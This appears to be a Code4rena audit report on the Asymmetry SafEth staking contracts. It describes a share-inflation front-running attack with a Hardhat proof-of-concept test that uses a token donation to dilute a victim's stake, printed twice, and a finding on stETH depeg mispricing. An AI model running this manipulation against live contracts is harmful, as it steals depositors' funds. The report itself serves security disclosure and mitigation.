Asymmetry contest - sinarette's results

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/WstEth.sol#L93-L95 https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/SfrxEth.sol#L122-L124 https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/Reth.sol#L221-L223

Vulnerability details

Impact

derivatives.balance() checks the balance of staking derivative tokens(WstETH, sfrxETH, rETH).

    /* WstEth.sol */
    function balance() public view returns (uint256) {
        return IERC20(WST_ETH).balanceOf(address(this));
    }

    /* SfrxETH.sol */
    function balance() public view returns (uint256) {
        return IERC20(SFRX_ETH_ADDRESS).balanceOf(address(this));
    }

    /* Reth.sol */
    function balance() public view returns (uint256) {
        return IERC20(rethAddress()).balanceOf(address(this));
    }

This balance() is used for calculation of shares in staking.

    /* SafEth.sol */
    for (uint i = 0; i < derivativeCount; i++)
        underlyingValue +=
            (derivatives[i].ethPerDerivative(derivatives[i].balance()) *
                derivatives[i].balance()) /
            10 ** 18;

    else preDepositPrice = (10 ** 18 * underlyingValue) / totalSupply;

    uint256 mintAmount = (totalStakeValueEth * 10 ** 18) / preDepositPrice;

The problem is that anyone can transfer those ERC20 tokens to the derivatives contract, which can underestimate stakes by front running.

Proof of Concept

This test for SafeETH-Integration.test.ts shows how an attacker front run staking.

    await network.provider.request({
      method: "hardhat_impersonateAccount",
      params: [WSTETH_WHALE],
    });
    const attacker = await ethers.getSigner(WSTETH_WHALE);
    const [admin, bob, _] = await ethers.getSigners();

    const wstEth = new ethers.Contract(WSTETH_ADRESS, ERC20.abi, admin);

    // attacker first stake
    await strategy.connect(attacker).stake({value: ethers.utils.parseEther("1")});
    let attackerShares = await strategy.balanceOf(attacker.address);

    // transfer 1000 WstETH
    await wstEth.connect(attacker).transfer(WstEthProxy.address, ethers.utils.parseEther("1000"));

    // stake shares underestimated
    await strategy.connect(bob).stake({value: ethers.utils.parseEther("1")});
    let bobShares = await strategy.balanceOf(bob.address);
    expect(bobShares).lt(ethers.utils.parseEther("0.01"));

Tools Used

Hardhat

Recommended Mitigation Steps

Record shares for each derivatives rather than using the balance of ERC20.

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/WstEth.sol#L93-L95 https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/SfrxEth.sol#L122-L124 https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/Reth.sol#L221-L223

Vulnerability details

Impact

derivatives.balance() checks the balance of staking derivative tokens(WstETH, sfrxETH, rETH).

/* WstEth.sol */
function balance() public view returns (uint256) {
    return IERC20(WST_ETH).balanceOf(address(this));
}

/* SfrxETH.sol */
function balance() public view returns (uint256) {
    return IERC20(SFRX_ETH_ADDRESS).balanceOf(address(this));
}

/* Reth.sol */
function balance() public view returns (uint256) {
    return IERC20(rethAddress()).balanceOf(address(this));
}

This balance() is used for calculation of shares in staking.

/* SafEth.sol */
for (uint i = 0; i < derivativeCount; i++)
    underlyingValue +=
        (derivatives[i].ethPerDerivative(derivatives[i].balance()) *
            derivatives[i].balance()) /
        10 ** 18;

else preDepositPrice = (10 ** 18 * underlyingValue) / totalSupply;

uint256 mintAmount = (totalStakeValueEth * 10 ** 18) / preDepositPrice;

The problem is that anyone can transfer those ERC20 tokens to the derivatives contract, which can underestimate stakes by front running.

Proof of Concept

This test for SafeETH-Integration.test.ts shows how an attacker front run staking.

await network.provider.request({
  method: "hardhat_impersonateAccount",
  params: [WSTETH_WHALE],
});
const attacker = await ethers.getSigner(WSTETH_WHALE);
const [admin, bob, _] = await ethers.getSigners();

const wstEth = new ethers.Contract(WSTETH_ADRESS, ERC20.abi, admin);

// attacker first stake
await strategy.connect(attacker).stake({value: ethers.utils.parseEther("1")});
let attackerShares = await strategy.balanceOf(attacker.address);

// transfer 1000 WstETH
await wstEth.connect(attacker).transfer(WstEthProxy.address, ethers.utils.parseEther("1000"));

// stake shares underestimated
await strategy.connect(bob).stake({value: ethers.utils.parseEther("1")});
let bobShares = await strategy.balanceOf(bob.address);
expect(bobShares).lt(ethers.utils.parseEther("0.01"));

Tools Used

Hardhat

Recommended Mitigation Steps

Record shares for each derivatives rather than using the balance of ERC20.

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/WstEth.sol#L86-L88

Vulnerability details

Impact

Currently, Lido doesn't provide arbitrary unstaking features so stETH is not perfectly pegged to ETH by 1:1. As you can see here in CoinGecko, stETH actually experienced a long depeg last year. For those reasons, the withdrawn stETH amounts cannot guarantee the actual amount of ETH getting returned to user. However, WstEth.ethPerDerivative function returns the amount of stETH corresponding to WstETH, which fails to reflect the actual ETH amount that would be returned to the user.

Proof of Concept

ethPerDerivative calls getStETHByWstETH, calculating the amount of stETH per WstETH.

    /* WstEth.sol */
    function ethPerDerivative(uint256 _amount) public view returns (uint256) {
        return IWStETH(WST_ETH).getStETHByWstETH(10 ** 18);
    }

However, withdraw would have to convert stETH into ETH, which may return less than the calculation by ethPerDerivative.

    function withdraw(uint256 _amount) external onlyOwner {
        IWStETH(WST_ETH).unwrap(_amount);
        uint256 stEthBal = IERC20(STETH_TOKEN).balanceOf(address(this));
        IERC20(STETH_TOKEN).approve(LIDO_CRV_POOL, stEthBal);
        uint256 minOut = (stEthBal * (10 ** 18 - maxSlippage)) / 10 ** 18;
        IStEthEthPool(LIDO_CRV_POOL).exchange(1, 0, stEthBal, minOut);
        // solhint-disable-next-line
        (bool sent, ) = address(msg.sender).call{value: address(this).balance}(
            ""
        );
        require(sent, "Failed to send Ether");
    }

In contrast, SfrxEth#ethPerDerivative returns the actual ETH value, considering the Curve pool price.

    /* SfrxEth.sol */
    function ethPerDerivative(uint256 _amount) public view returns (uint256) {
        uint256 frxAmount = IsFrxEth(SFRX_ETH_ADDRESS).convertToAssets(
            10 ** 18
        );
        return ((10 ** 18 * frxAmount) /
            IFrxEthEthPool(FRX_ETH_CRV_POOL_ADDRESS).price_oracle());
    }

Tools Used

Manual Review

Recommended Mitigation Steps

Consider actual stETH price in calculation

        uint256 stEthAmount = IWStETH(WST_ETH).getStETHByWstETH(10 ** 18);
        return ((10 ** 18 * stEthAmount) /
            IStEthEthPool(LIDO_CRV_POOL).price_oracle());